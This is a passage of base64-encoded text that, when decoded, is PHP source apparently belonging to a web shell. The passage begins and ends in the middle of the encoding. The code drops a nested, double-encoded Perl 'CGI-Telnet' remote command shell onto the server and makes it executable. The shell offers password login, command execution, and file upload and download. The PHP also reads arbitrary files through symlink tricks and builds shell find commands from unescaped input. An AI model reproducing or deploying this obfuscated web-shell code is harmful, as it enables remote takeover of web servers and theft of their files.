pUNGtVSEp2YlhCMElDUlNkVzVEYjIxdFlXNWtQQzlqYjJSbFBqeDRiWEErSWpzS0NRa2tRMjl0YldGdVpDQTlJQ0pqWkNCY0lpUkRkWEp5Wlc1MFJHbHlYQ0lpTGlSRGJXUlRaWEF1SkZKMWJrTnZiVzFoYm1RdUpGSmxaR2x5WldOMGIzSTdDZ2tKYVdZb0lTUlhhVzVPVkNrS0NRbDdDZ2tKQ1NSVFNVZDdKMEZNVWswbmZTQTlJRndtUTI5dGJXRnVaRlJwYldWdmRYUTdDZ2tKQ1dGc1lYSnRLQ1JEYjIxdFlXNWtWR2x0Wlc5MWRFUjFjbUYwYVc5dUtUc0tDUWw5Q2drSmFXWW9KRk5vYjNkRWVXNWhiV2xqVDNWMGNIVjBLU0FqSUhOb2IzY2diM1YwY0hWMElHRnpJR2wwSUdseklHZGxibVZ5WVhSbFpBb0pDWHNLQ1FrSkpIdzlNVHNLQ1FrSkpFTnZiVzFoYm1RZ0xqMGdJaUI4SWpzS0NRa0piM0JsYmloRGIyMXRZVzVrVDNWMGNIVjBMQ0FrUTI5dGJXRnVaQ2s3Q2drSkNYZG9hV3hsS0R4RGIyMXRZVzVrVDNWMGNIVjBQaWtLQ1FrSmV3b0pDUWtKSkY4Z1BYNGdjeThvWEc1OFhISmNiaWtrTHk4N0Nna0pDUWx3Y21sdWRDQWlKRjljYmlJN0Nna0pDWDBLQ1FrSkpIdzlNRHNLQ1FsOUNna0paV3h6WlNBaklITm9iM2NnYjNWMGNIVjBJR0ZtZEdWeUlHTnZiVzFoYm1RZ1kyOXRjR3hsZEdWekNna0pld29KQ1Fsd2NtbHVkQ0JnSkVOdmJXMWhibVJnT3dvSkNYMEtDUWxwWmlnaEpGZHBiazVVS1FvSkNYc0tDUWtKWVd4aGNtMG9NQ2s3Q2drSmZRb0pDWEJ5YVc1MElDSThMM2h0Y0Q0aU93b0pmUW9KSmxCeWFXNTBRMjl0YldGdVpFeHBibVZKYm5CMWRFWnZjbTA3Q2drbVVISnBiblJRWVdkbFJtOXZkR1Z5T3dwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCa2FYTndiR0Y1Y3lCMGFHVWdjR0ZuWlNCMGFHRjBJR052Ym5SaGFXNXpJR0VnYkdsdWF5QjNhR2xqYUNCaGJHeHZkM01nZEdobElIVnpaWElLSXlCMGJ5QmtiM2R1Ykc5aFpDQjBhR1VnYzNCbFkybG1hV1ZrSUdacGJHVXVJRlJvWlNCd1lXZGxJR0ZzYzI4Z1kyOXVkR0ZwYm5NZ1lTQmhkWFJ2TFhKbFpuSmxjMmdLSXlCbVpXRjBkWEpsSUhSb1lYUWdjM1JoY25SeklIUm9aU0JrYjNkdWJHOWhaQ0JoZFhSdmJXRjBhV05oYkd4NUxnb2pJRUZ5WjNWdFpXNTBJREU2SUVaMWJHeDVJSEYxWVd4cFptbGxaQ0JtYVd4bGJtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGQnlhVzUwUkc5M2JteHZZV1JNYVc1clVHRm5aUXA3Q2dsc2IyTmhiQ2drUm1sc1pWVnliQ2tnUFNCQVh6c0tDV2xtS0MxbElDUkdhV3hsVlhKc0tTQWpJR2xtSUhSb1pTQm1hV3hsSUdWNGFYTjBjd29KZXdvSkNTTWdaVzVqYjJSbElIUm9aU0JtYVd4bElHeHBibXNnYzI4Z2QyVWdZMkZ1SUhObGJtUWdhWFFnZEc4Z2RHaGxJR0p5YjNkelpYSUtDUWtrUm1sc1pWVnliQ0E5ZmlCekx5aGJYbUV0ZWtFdFdqQXRPVjBwTHljbEp5NTFibkJoWTJzb0lrZ3FJaXdrTVNrdlpXYzdDZ2tKSkVSdmQyNXNiMkZrVEdsdWF5QTlJQ0lrVTJOeWFYQjBURzlqWVhScGIyNC9ZVDFrYjNkdWJHOWhaQ1ptUFNSR2FXeGxWWEpzSm04OVoyOGlPd29KQ1NSSWRHMXNUV1YwWVVobFlXUmxjaUE5SUNJOGJXVjBZU0JJVkZSUUxVVlJWVWxXUFZ3aVVtVm1jbVZ6YUZ3aUlFTlBUbFJGVGxROVhDSXhPeUJWVWt3OUpFUnZkMjVzYjJGa1RHbHVhMXdpUGlJN0Nna0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2lZeUlwT3dvSkNYQnlhVzUwSUR3OFJVNUVPd284WTI5a1pUNEtVMlZ1WkdsdVp5QkdhV3hsSUNSVWNtRnVjMlpsY2tacGJHVXVMaTQ4WW5JK0NrbG1JSFJvWlNCa2IzZHViRzloWkNCa2IyVnpJRzV2ZENCemRHRnlkQ0JoZFhSdmJXRjBhV05oYkd4NUxBbzhZU0JvY21WbVBTSWtSRzkzYm14dllXUk1hVzVySWo1RGJHbGpheUJJWlhKbFBDOWhQaTRLUEM5amIyUmxQZ3BGVGtRS0NRa21VSEpwYm5SRGIyMXRZVzVrVEdsdVpVbHVjSFYwUm05eWJUc0tDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPd29KZlFvSlpXeHpaU0FqSUdacGJHVWdaRzlsYzI0bmRDQmxlR2x6ZEFvSmV3b0pDU1pRY21sdWRGQmhaMlZJWldGa1pYSW9JbVlpS1RzS0NRbHdjbWx1ZENBaVBHTnZaR1UrUm1GcGJHVmtJSFJ2SUdSdmQyNXNiMkZrSUNSR2FXeGxWWEpzT2lBa0lUd3ZZMjlrWlQ0aU93b0pDU1pRY21sdWRFWnBiR1ZFYjNkdWJHOWhaRVp2Y20wN0Nna0pKbEJ5YVc1MFVHRm5aVVp2YjNSbGNqc0tDWDBLZlFvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGUm9hWE1nWm5WdVkzUnBiMjRnY21WaFpITWdkR2hsSUhOd1pXTnBabWxsWkNCbWFXeGxJR1p5YjIwZ2RHaGxJR1JwYzJzZ1lXNWtJSE5sYm1SeklHbDBJSFJ2SUhSb1pRb2pJR0p5YjNkelpYSXNJSE52SUhSb1lYUWdhWFFnWTJGdUlHSmxJR1J2ZDI1c2IyRmtaV1FnWW5rZ2RHaGxJSFZ6WlhJdUNpTWdRWEpuZFcxbGJuUWdNVG9nUm5Wc2JIa2djWFZoYkdsbWFXVmtJSEJoZEdodVlXMWxJRzltSUhSb1pTQm1hV3hsSUhSdklHSmxJSE5sYm5RdUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRk5sYm1SR2FXeGxWRzlDY205M2MyVnlDbnNLQ1d4dlkyRnNLQ1JUWlc1a1JtbHNaU2tnUFNCQVh6c0tDV2xtS0c5d1pXNG9VMFZPUkVaSlRFVXNJQ1JUWlc1a1JtbHNaU2twSUNNZ1ptbHNaU0J2Y0dWdVpXUWdabTl5SUhKbFlXUnBibWNLQ1hzS0NRbHBaaWdrVjJsdVRsUXBDZ2tKZXdvSkNRbGlhVzV0YjJSbEtGTkZUa1JHU1V4RktUc0tDUWtKWW1sdWJXOWtaU2hUVkVSUFZWUXBPd29KQ1gwS0NRa2tSbWxzWlZOcGVtVWdQU0FvYzNSaGRDZ2tVMlZ1WkVacGJHVXBLVnMzWFRzS0NRa29KRVpwYkdWdVlXMWxJRDBnSkZObGJtUkdhV3hsS1NBOWZpQWdiU0VvVzE0dlhseGNYU29wSkNFN0Nna0pjSEpwYm5RZ0lrTnZiblJsYm5RdFZIbHdaVG9nWVhCd2JHbGpZWFJwYjI0dmVDMTFibXR1YjNkdVhHNGlPd29KQ1hCeWFXNTBJQ0pEYjI1MFpXNTBMVXhsYm1kMGFEb2dKRVpwYkdWVGFYcGxYRzRpT3dvSkNYQnlhVzUwSUNKRGIyNTBaVzUwTFVScGMzQnZjMmwwYVc5dU9pQmhkSFJoWTJodFpXNTBPeUJtYVd4bGJtRnRaVDBrTVZ4dVhHNGlPd29KQ1hCeWFXNTBJSGRvYVd4bEtEeFRSVTVFUmtsTVJUNHBPd29KQ1dOc2IzTmxLRk5GVGtSR1NVeEZLVHNLQ1gwS0NXVnNjMlVnSXlCbVlXbHNaV1FnZEc4Z2IzQmxiaUJtYVd4bENnbDdDZ2tKSmxCeWFXNTBVR0ZuWlVobFlXUmxjaWdpWmlJcE93b0pDWEJ5YVc1MElDSThZMjlrWlQ1R1lXbHNaV1FnZEc4Z1pHOTNibXh2WVdRZ0pGTmxibVJHYVd4bE9pQWtJVHd2WTI5a1pUNGlPd29KQ1NaUWNtbHVkRVpwYkdWRWIzZHViRzloWkVadmNtMDdDZ2tKSmxCeWFXNTBVR0ZuWlVadmIzUmxjanNLQ1gwS2ZRb0tDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bFpDQjNhR1Z1SUhSb1pTQjFjMlZ5SUdSdmQyNXNiMkZrY3lCaElHWnBiR1V1SUVsMElHUnBjM0JzWVhseklHRWdiV1Z6YzJGblpRb2pJSFJ2SUhSb1pTQjFjMlZ5SUdGdVpDQndjbTkyYVdSbGN5QmhJR3hwYm1zZ2RHaHliM1ZuYUNCM2FHbGphQ0IwYUdVZ1ptbHNaU0JqWVc0Z1ltVWdaRzkzYm14dllXUmxaQzRLSXlCVWFHbHpJR1oxYm1OMGFXOXVJR2x6SUdGc2MyOGdZMkZzYkdWa0lIZG9aVzRnZEdobElIVnpaWElnWTJ4cFkydHpJRzl1SUhSb1lYUWdiR2x1YXk0Z1NXNGdkR2hwY3lCallYTmxMQW9qSUhSb1pTQm1hV3hsSUdseklISmxZV1FnWVc1a0lITmxiblFnZEc4Z2RHaGxJR0p5YjNkelpYSXVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUVKbFoybHVSRzkzYm14dllXUUtld29KSXlCblpYUWdablZzYkhrZ2NYVmhiR2xtYVdWa0lIQmhkR2dnYjJZZ2RHaGxJR1pwYkdVZ2RHOGdZbVVnWkc5M2JteHZZV1JsWkFvSmFXWW9LQ1JYYVc1T1ZDQW1JQ2drVkhKaGJuTm1aWEpHYVd4bElEMStJRzB2WGx4Y2ZGNHVPaThwS1NCOENna0pLQ0VrVjJsdVRsUWdKaUFvSkZSeVlXNXpabVZ5Um1sc1pTQTlmaUJ0TDE1Y0x5OHBLU2tnSXlCd1lYUm9JR2x6SUdGaWMyOXNkWFJsQ2dsN0Nna0pKRlJoY21kbGRFWnBiR1VnUFNBa1ZISmhibk5tWlhKR2FXeGxPd29KZlFvSlpXeHpaU0FqSUhCaGRHZ2dhWE1nY21Wc1lYUnBkbVVLQ1hzS0NRbGphRzl3S0NSVVlYSm5aWFJHYVd4bEtTQnBaaWdrVkdGeVoyVjBSbWxzWlNBOUlDUkRkWEp5Wlc1MFJHbHlLU0E5ZmlCdEwxdGNYRnd2WFNRdk93b0pDU1JVWVhKblpYUkdhV3hsSUM0OUlDUlFZWFJvVTJWd0xpUlVjbUZ1YzJabGNrWnBiR1U3Q2dsOUNnb0phV1lvSkU5d2RHbHZibk1nWlhFZ0ltZHZJaWtnSXlCM1pTQm9ZWFpsSUhSdklITmxibVFnZEdobElHWnBiR1VLQ1hzS0NRa21VMlZ1WkVacGJHVlViMEp5YjNkelpYSW9KRlJoY21kbGRFWnBiR1VwT3dvSmZRb0paV3h6WlNBaklIZGxJR2hoZG1VZ2RHOGdjMlZ1WkNCdmJteDVJSFJvWlNCc2FXNXJJSEJoWjJVS0NYc0tDUWttVUhKcGJuUkViM2R1Ykc5aFpFeHBibXRRWVdkbEtDUlVZWEpuWlhSR2FXeGxLVHNLQ1gwS2ZRb0tJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRlJvYVhNZ1puVnVZM1JwYjI0Z2FYTWdZMkZzYkdWa0lIZG9aVzRnZEdobElIVnpaWElnZDJGdWRITWdkRzhnZFhCc2IyRmtJR0VnWm1sc1pTNGdTV1lnZEdobENpTWdabWxzWlNCcGN5QnViM1FnYzNCbFkybG1hV1ZrTENCcGRDQmthWE53YkdGNWN5QmhJR1p2Y20wZ1lXeHNiM2RwYm1jZ2RHaGxJSFZ6WlhJZ2RHOGdjM0JsWTJsbWVTQmhDaU1nWm1sc1pTd2diM1JvWlhKM2FYTmxJR2wwSUhOMFlYSjBjeUIwYUdVZ2RYQnNiMkZrSUhCeWIyTmxjM011Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGVndiRzloWkVacGJHVUtld29KSXlCcFppQnVieUJtYVd4bElHbHpJSE53WldOcFptbGxaQ3dnY0hKcGJuUWdkR2hsSUhWd2JHOWhaQ0JtYjNKdElHRm5ZV2x1Q2dscFppZ2tWSEpoYm5ObVpYSkdhV3hsSUdWeElDSWlLUW9KZXdvSkNTWlFjbWx1ZEZCaFoyVklaV0ZrWlhJb0ltWWlLVHNLQ1FrbVVISnBiblJHYVd4bFZYQnNiMkZrUm05eWJUc0tDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPd29KQ1hKbGRIVnlianNLQ1gwS0NTWlFjbWx1ZEZCaFoyVklaV0ZrWlhJb0ltTWlLVHNLQ2draklITjBZWEowSUhSb1pTQjFjR3h2WVdScGJtY2djSEp2WTJWemN3b0pjSEpwYm5RZ0lqeGpiMlJsUGxWd2JHOWhaR2x1WnlBa1ZISmhibk5tWlhKR2FXeGxJSFJ2SUNSRGRYSnlaVzUwUkdseUxpNHVQR0p5UGlJN0Nnb0pJeUJuWlhRZ2RHaGxJR1oxYkd4c2VTQnhkV0ZzYVdacFpXUWdjR0YwYUc1aGJXVWdiMllnZEdobElHWnBiR1VnZEc4Z1ltVWdZM0psWVhSbFpBb0pZMmh2Y0Nna1ZHRnlaMlYwVG1GdFpTa2dhV1lnS0NSVVlYSm5aWFJPWVcxbElEMGdKRU4xY25KbGJuUkVhWElwSUQxK0lHMHZXMXhjWEM5ZEpDODdDZ2trVkhKaGJuTm1aWEpHYVd4bElEMStJRzBoS0Z0ZUwxNWNYRjBxS1NRaE93b0pKRlJoY21kbGRFNWhiV1VnTGowZ0pGQmhkR2hUWlhBdUpERTdDZ29KSkZSaGNtZGxkRVpwYkdWVGFYcGxJRDBnYkdWdVozUm9LQ1JwYm5zblptbHNaV1JoZEdFbmZTazdDZ2tqSUdsbUlIUm9aU0JtYVd4bElHVjRhWE4wY3lCaGJtUWdkMlVnWVhKbElHNXZkQ0J6ZFhCd2IzTmxaQ0IwYnlCdmRtVnlkM0pwZEdVZ2FYUUtDV2xtS0MxbElDUlVZWEpuWlhST1lXMWxJQ1ltSUNSUGNIUnBiMjV6SUc1bElDSnZkbVZ5ZDNKcGRHVWlLUW9KZXdvSkNYQnlhVzUwSUNKR1lXbHNaV1E2SUVSbGMzUnBibUYwYVc5dUlHWnBiR1VnWVd4eVpXRmtlU0JsZUdsemRITXVQR0p5UGlJN0NnbDlDZ2xsYkhObElDTWdabWxzWlNCcGN5QnViM1FnY0hKbGMyVnVkQW9KZXdvSkNXbG1LRzl3Wlc0b1ZWQk1UMEZFUmtsTVJTd2dJajRrVkdGeVoyVjBUbUZ0WlNJcEtRb0pDWHNLQ1FrSlltbHViVzlrWlNoVlVFeFBRVVJHU1V4RktTQnBaaUFrVjJsdVRsUTdDZ2tKQ1hCeWFXNTBJRlZRVEU5QlJFWkpURVVnSkdsdWV5ZG1hV3hsWkdGMFlTZDlPd29KQ1FsamJHOXpaU2hWVUV4UFFVUkdTVXhGS1RzS0NRa0pjSEpwYm5RZ0lsUnlZVzV6Wm1WeVpXUWdKRlJoY21kbGRFWnBiR1ZUYVhwbElFSjVkR1Z6TGp4aWNqNGlPd29KQ1Fsd2NtbHVkQ0FpUm1sc1pTQlFZWFJvT2lBa1ZHRnlaMlYwVG1GdFpUeGljajRpT3dvSkNYMEtDUWxsYkhObENna0pld29KQ1Fsd2NtbHVkQ0FpUm1GcGJHVmtPaUFrSVR4aWNqNGlPd29KQ1gwS0NYMEtDWEJ5YVc1MElDSThMMk52WkdVK0lqc0tDU1pRY21sdWRFTnZiVzFoYm1STWFXNWxTVzV3ZFhSR2IzSnRPd29KSmxCeWFXNTBVR0ZuWlVadmIzUmxjanNLZlFvS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1kyRnNiR1ZrSUhkb1pXNGdkR2hsSUhWelpYSWdkMkZ1ZEhNZ2RHOGdaRzkzYm14dllXUWdZU0JtYVd4bExpQkpaaUIwYUdVS0l5Qm1hV3hsYm1GdFpTQnBjeUJ1YjNRZ2MzQmxZMmxtYVdWa0xDQnBkQ0JrYVhOd2JHRjVjeUJoSUdadmNtMGdZV3hzYjNkcGJtY2dkR2hsSUhWelpYSWdkRzhnYzNCbFkybG1lU0JoQ2lNZ1ptbHNaU3dnYjNSb1pYSjNhWE5sSUdsMElHUnBjM0JzWVhseklHRWdiV1Z6YzJGblpTQjBieUIwYUdVZ2RYTmxjaUJoYm1RZ2NISnZkbWxrWlhNZ1lTQnNhVzVyQ2lNZ2RHaHliM1ZuYUNBZ2QyaHBZMmdnZEdobElHWnBiR1VnWTJGdUlHSmxJR1J2ZDI1c2IyRmtaV1F1Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlFUnZkMjVzYjJGa1JtbHNaUXA3Q2draklHbG1JRzV2SUdacGJHVWdhWE1nYzNCbFkybG1hV1ZrTENCd2NtbHVkQ0IwYUdVZ1pHOTNibXh2WVdRZ1ptOXliU0JoWjJGcGJnb0phV1lvSkZSeVlXNXpabVZ5Um1sc1pTQmxjU0FpSWlrS0NYc0tDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0ptSWlrN0Nna0pKbEJ5YVc1MFJtbHNaVVJ2ZDI1c2IyRmtSbTl5YlRzS0NRa21VSEpwYm5SUVlXZGxSbTl2ZEdWeU93b0pDWEpsZEhWeWJqc0tDWDBLQ1FvSkl5Qm5aWFFnWm5Wc2JIa2djWFZoYkdsbWFXVmtJSEJoZEdnZ2IyWWdkR2hsSUdacGJHVWdkRzhnWW1VZ1pHOTNibXh2WVdSbFpBb0phV1lvS0NSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhseGNmRjR1T2k4cEtTQjhDZ2tKS0NFa1YybHVUbFFnSmlBb0pGUnlZVzV6Wm1WeVJtbHNaU0E5ZmlCdEwxNWNMeThwS1NrZ0l5QndZWFJvSUdseklHRmljMjlzZFhSbENnbDdDZ2tKSkZSaGNtZGxkRVpwYkdVZ1BTQWtWSEpoYm5ObVpYSkdhV3hsT3dvSmZRb0paV3h6WlNBaklIQmhkR2dnYVhNZ2NtVnNZWFJwZG1VS0NYc0tDUWxqYUc5d0tDUlVZWEpuWlhSR2FXeGxLU0JwWmlna1ZHRnlaMlYwUm1sc1pTQTlJQ1JEZFhKeVpXNTBSR2x5S1NBOWZpQnRMMXRjWEZ3dlhTUXZPd29KQ1NSVVlYSm5aWFJHYVd4bElDNDlJQ1JRWVhSb1UyVndMaVJVY21GdWMyWmxja1pwYkdVN0NnbDlDZ29KYVdZb0pFOXdkR2x2Ym5NZ1pYRWdJbWR2SWlrZ0l5QjNaU0JvWVhabElIUnZJSE5sYm1RZ2RHaGxJR1pwYkdVS0NYc0tDUWttVTJWdVpFWnBiR1ZVYjBKeWIzZHpaWElvSkZSaGNtZGxkRVpwYkdVcE93b0pmUW9KWld4elpTQWpJSGRsSUdoaGRtVWdkRzhnYzJWdVpDQnZibXg1SUhSb1pTQnNhVzVySUhCaFoyVUtDWHNLQ1FrbVVISnBiblJFYjNkdWJHOWhaRXhwYm10UVlXZGxLQ1JVWVhKblpYUkdhV3hsS1RzS0NYMEtmUW9LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUUxaGFXNGdVSEp2WjNKaGJTQXRJRVY0WldOMWRHbHZiaUJUZEdGeWRITWdTR1Z5WlFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2laU1pXRmtVR0Z5YzJVN0NpWkhaWFJEYjI5cmFXVnpPd29LSkZOamNtbHdkRXh2WTJGMGFXOXVJRDBnSkVWT1Zuc25VME5TU1ZCVVgwNUJUVVVuZlRzS0pGTmxjblpsY2s1aGJXVWdQU0FrUlU1V2V5ZFRSVkpXUlZKZlRrRk5SU2Q5T3dva1RHOW5hVzVRWVhOemQyOXlaQ0E5SUNScGJuc25jQ2Q5T3dva1VuVnVRMjl0YldGdVpDQTlJQ1JwYm5zbll5ZDlPd29rVkhKaGJuTm1aWEpHYVd4bElEMGdKR2x1ZXlkbUozMDdDaVJQY0hScGIyNXpJRDBnSkdsdWV5ZHZKMzA3Q2dva1FXTjBhVzl1SUQwZ0pHbHVleWRoSjMwN0NpUkJZM1JwYjI0Z1BTQWliRzluYVc0aUlHbG1LQ1JCWTNScGIyNGdaWEVnSWlJcE95QWpJRzV2SUdGamRHbHZiaUJ6Y0dWamFXWnBaV1FzSUhWelpTQmtaV1poZFd4MENnb2pJR2RsZENCMGFHVWdaR2x5WldOMGIzSjVJR2x1SUhkb2FXTm9JSFJvWlNCamIyMXRZVzVrY3lCM2FXeHNJR0psSUdWNFpXTjFkR1ZrQ2lSRGRYSnlaVzUwUkdseUlEMGdKR2x1ZXlka0ozMDdDbU5vYjNBb0pFTjFjbkpsYm5SRWFYSWdQU0JnSkVOdFpGQjNaR0FwSUdsbUtDUkRkWEp5Wlc1MFJHbHlJR1Z4SUNJaUtUc0tDaVJNYjJkblpXUkpiaUE5SUNSRGIyOXJhV1Z6ZXlkVFFWWkZSRkJYUkNkOUlHVnhJQ1JRWVhOemQyOXlaRHNLQ21sbUtDUkJZM1JwYjI0Z1pYRWdJbXh2WjJsdUlpQjhmQ0FoSkV4dloyZGxaRWx1S1NBaklIVnpaWElnYm1WbFpITXZhR0Z6SUhSdklHeHZaMmx1Q25zS0NTWlFaWEptYjNKdFRHOW5hVzQ3Q24wS1pXeHphV1lvSkVGamRHbHZiaUJsY1NBaVkyOXRiV0Z1WkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCeWRXNGdZU0JqYjIxdFlXNWtDbnNLQ1NaRmVHVmpkWFJsUTI5dGJXRnVaRHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKMWNHeHZZV1FpS1NBaklIVnpaWElnZDJGdWRITWdkRzhnZFhCc2IyRmtJR0VnWm1sc1pRcDdDZ2ttVlhCc2IyRmtSbWxzWlRzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSmtiM2R1Ykc5aFpDSXBJQ01nZFhObGNpQjNZVzUwY3lCMGJ5QmtiM2R1Ykc5aFpDQmhJR1pwYkdVS2V3b0pKa1J2ZDI1c2IyRmtSbWxzWlRzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSnNiMmR2ZFhRaUtTQWpJSFZ6WlhJZ2QyRnVkSE1nZEc4Z2JHOW5iM1YwQ25zS0NTWlFaWEptYjNKdFRHOW5iM1YwT3dwOScpOw0KCQkNCiAgICAgICAgaWYoZmlsZV9leGlzdHMoJG5hbWUpKXsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9ZWxzZXsNCg0KICAgICAgICAgICAgaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRuYW1lLCRjZ2lUZWxuZXRDb2RlKSl7DQogICAgICAgICAgICAgICAgQGNobW9kKCRuYW1lLG9jdGRlYygiMDc1NSIpKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGVfc3ltbGluaygkdGFyZ2V0KXsNCiAgICAgICAgDQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkdGFyZ2V0KSl7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJHRlbXAgPSBzeXNfZ2V0X3RlbXBfZGlyKCkuRElSRUNUT1JZX1NFUEFSQVRPUi51bmlxaWQocmFuZCgxLDUwKSkuIi50bXAiOw0KDQogICAgICAgICAgICBpZihAc3ltbGluaygkdGFyZ2V0LCR0ZW1wKSl7DQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXApOw0KICAgICAgICAgICAgICAgIHJldHVybiAkY29udGVudDsNCiAgICAgICAgICAgIH1lbHNlaWYoQGxpbmsoJHRhcmdldCwkdGVtcCkpew0KICAgICAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCiAgICAgICAgICAgICAgICBAdW5saW5rKCR0ZW1wKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAkZXhlY19sbiA9ICR0aGlzLT5ydW5fY21kKCdsbiAtc2YgJy4kdGFyZ2V0LicgJy4kdGVtcCk7DQoNCiAgICAgICAgICAgICAgICBpZigkZXhlY19sbiAhPT0gZmFsc2Upew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7DQogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXApOw0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgICAgICAgICAgICAgfWVsc2V7cmV0dXJuIGZhbHNlO30NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIHByZXBhcmVfc2VhcmNoX2NtZCgkbG9jYXRpb24sJGtleXdvcmQsJHR5cGUpew0KDQogICAgICAgIGlmKCR0eXBlID09ICdhbGwnKXsNCiAgICAgICAgICAgICRjbWQgPSAnZmluZCAiJy4kbG9jYXRpb24uJyIgLWluYW1lICIqJy4ka2V5d29yZC4nKiInOw0KICAgICAgICB9ZWxzZWlmKCR0eXBlID09ICdmaWxlc19vbmx5Jyl7DQogICAgICAgICAgICAkY21kID0gJ2ZpbmQgIicuJGxvY2F0aW9uLiciIC10eXBlIGYgLWluYW1lICIqJy4ka2V5d29yZC4nKiInOw0KICAgICAgICB9ZWxzZWlmKCR0eXBlID09ICdkaXJzX29ubHknKXsNCiAgICAgICAgICAgICRjbWQgPSAnZmluZCAiJy4kbG9jYXRpb24uJyIgLXR5cGUgZCAtaW5hbWUgIionLiRrZXl3b3JkLicqIic7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRjbWQ7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRfdXNlcnNfY291bnQoKXsNCiAgICAgICAgaWYoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKXsNCiAgICAgICAgICAgIHJldHVybiAnV2luZG93cyBub3Qgc3VwcG9ydGVk